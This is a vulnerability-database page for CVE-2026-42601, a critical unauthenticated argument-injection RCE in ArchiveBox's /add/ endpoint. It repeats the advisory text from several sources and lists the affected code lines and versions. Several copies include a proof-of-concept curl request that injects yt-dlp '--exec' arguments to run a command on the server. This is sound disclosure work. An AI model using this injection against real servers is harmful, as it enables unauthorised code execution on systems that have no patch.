CVE-2026-42601
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.3
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.
- Record
CVE-2026-42601- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-88
- Updated
- 2026-11-02
EUVDEUVD-2026-28935
9.3
ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.
- Record
EUVD-2026-28935- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3h23-7824-pj8r
9.3
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
- Record
GHSA-3h23-7824-pj8r- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-88
- Updated
- 2026-11-02
NVD
9.3
ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.
- Record
CVE-2026-42601- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-88
- Updated
- 2026-11-02
OSV
9.3
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.
- Record
CVE-2026-42601- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-88
- Updated
- 2026-11-02
OSVGHSA-3h23-7824-pj8r
9.3
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
- Record
GHSA-3h23-7824-pj8r- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-88
- Updated
- 2026-11-02
OSVPYSEC-2026-283
9.3
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation:
custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config:
config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority:
if crawl and hasattr(crawl, "config") and crawl.config:
config.update(crawl.config)
hooks.py:398-411 - config exported as env vars:
for key, value in config.items():
if key in SKIP_KEYS: continue
env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:
ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", [])
cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/ \
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "depth=0" \
-d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
- Record
PYSEC-2026-283- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
archiveboxPyPI |
through 0.8.6rc0 | None known |
archiveboxPyPI |
through 0.8.6rc0, plus listed versions 0.4.110.4.120.4.130.4.140.4.15 Show 45 moreShow less0.4.160.4.170.4.180.4.190.4.200.4.210.4.60.4.80.4.90.5.00.5.10.5.20.5.30.5.40.6.00.6.10.6.20.7.00.7.10.7.20.7.40.8.5rc00.8.5rc10.8.5rc100.8.5rc110.8.5rc120.8.5rc130.8.5rc140.8.5rc150.8.5rc160.8.5rc170.8.5rc180.8.5rc20.8.5rc200.8.5rc210.8.5rc220.8.5rc230.8.5rc240.8.5rc250.8.5rc260.8.5rc270.8.5rc280.8.5rc290.8.5rc30.8.5rc30 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42601 is a critical vulnerability (CVSS 9.3) in Archivebox, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. No source names a fixed version.
References
github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
nvd.nist.gov/vuln/detail/CVE-2026-42601
github.com/pypa/advisory-database/tree/main/vulns/archivebox/PYSEC-2026-283.yaml
pypi.org/project/archivebox
github.com/advisories/GHSA-3h23-7824-pj8r
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42601.json
github.com/ArchiveBox/ArchiveBox
Left out here: 26 versions. The JSON record has them.